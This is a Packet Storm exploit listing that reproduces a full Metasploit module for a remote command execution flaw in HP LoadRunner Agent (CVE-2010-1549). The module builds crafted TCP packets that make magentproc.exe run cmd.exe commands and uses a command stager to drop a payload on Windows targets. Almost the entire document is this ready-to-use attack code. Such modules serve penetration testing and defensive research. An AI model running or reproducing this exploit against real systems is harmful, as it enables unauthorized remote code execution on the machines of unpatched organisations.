Lucene search

K
packetstormTemp66PACKETSTORM:145589
HistoryDec 30, 2017 - 12:00 a.m.

HP Mercury LoadRunner Agent magentproc.exe Remote Command Execution

2017-12-3000:00:00
temp66
packetstormsecurity.com
47

0.958 High

EPSS

Percentile

99.3%

`##  
# This module requires Metasploit: https://metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
class MetasploitModule < Msf::Exploit::Remote  
Rank = ExcellentRanking  
  
include Msf::Exploit::Remote::Tcp  
include Msf::Exploit::CmdStager  
  
def initialize(info={})  
super(update_info(info,  
'Name' => "HP Mercury LoadRunner Agent magentproc.exe Remote Command Execution",  
'Description' => %q{  
This module exploits a remote command execution vulnerablity in HP LoadRunner before 9.50  
and also HP Performance Center before 9.50. HP LoadRunner 12.53 and other versions are  
also most likely vulneable if the (non-default) SSL option is turned off.  
By sending a specially crafted packet, an attacker can execute commands remotely.  
The service is vulnerable provided the Secure Channel feature is disabled (default).  
},  
'License' => MSF_LICENSE,  
'Author' =>  
[  
'Unknown', # Original discovery # From Tenable Network Security  
'aushack' # metasploit module  
],  
'References' =>  
[  
['CVE', '2010-1549'],  
['ZDI', '10-080'],  
['BID', '39965'],  
['URL', 'https://support.hpe.com/hpsc/doc/public/display?docId=c00912968']  
],  
'Payload' => { 'BadChars' => "\x0d\x0a\x00" },  
'Platform' => 'win',  
'Targets' =>  
[  
# Note: software reportedly supports Linux - may also be vulnerable.  
['Windows (Dropper)',  
'Platform' => 'win',  
'Arch' => [ARCH_X86, ARCH_X64]  
],  
],  
'Privileged' => false,  
'Stance' => Msf::Exploit::Stance::Aggressive,  
'DisclosureDate' => 'May 06 2010',  
'DefaultTarget' => 0))  
  
register_options([Opt::RPORT(54345)])  
end  
  
def autofilter  
true  
end  
  
def execute_command(cmd, _opts = {})  
guid = Rex::Text.encode_base64(Rex::Text.rand_text_alphanumeric(17))  
randstr = Rex::Text.rand_text_alpha(16)  
server_name = Rex::Text.rand_text_alpha(7)  
server_ip = datastore['LHOST']  
server_port = Rex::Text.rand_text_numeric(4)  
# If linux is one day supported, cmd1 = /bin/sh and cmd2 = -c cmd  
cmd1 = "C:\\Windows\\system32\\cmd.exe"  
cmd2 = "/C \"#{cmd}\""  
  
pkt1 = [0x19].pack('N') + guid + '0'  
  
pkt2 = [0x6].pack('N') + [0x0].pack('N') + "(-server_type=8)(-server_name=#{server_name})(-server_full_name=#{server_name})"  
pkt2 << "(-server_ip_name=#{server_ip})(-server_port=#{server_port})(-server_fd_secondary=4)(-guid_identifier=#{guid})\x00\x00"  
pkt2 << [0x7530].pack('N')  
  
pkt3 = [4 + pkt2.length].pack('N') + pkt2  
  
pkt4 = [0x1c].pack('N') + [0x05].pack('N') + [0x01].pack('N') + randstr + pkt3  
  
pkt5 = [pkt4.length].pack('N') + pkt4  
  
pkt6 = [0x437].pack('N') + [0x0].pack('N') + [0x31].pack('N') + [1].pack('N') + [0x31000000].pack('N')  
pkt6 << [cmd1.length].pack('N') + cmd1 + "\x00" + [cmd2.length].pack('N') + cmd2 + [0x0].pack('N') + [0x0].pack('N')  
  
pkt7 = [4 + pkt6.length].pack('N') + pkt6  
  
pkt8 = [0x18].pack('N') + [0x04].pack('N') + randstr + pkt7  
  
pkt9 = [pkt8.length].pack('N') + pkt8  
  
sploit = pkt1 + pkt5 + pkt9  
  
connect  
sock.put(sploit)  
disconnect  
end  
  
def exploit  
print_status('Sending payload...')  
execute_cmdstager(linemax: 1500)  
end  
end  
`

0.958 High

EPSS

Percentile

99.3%

Related for PACKETSTORM:145589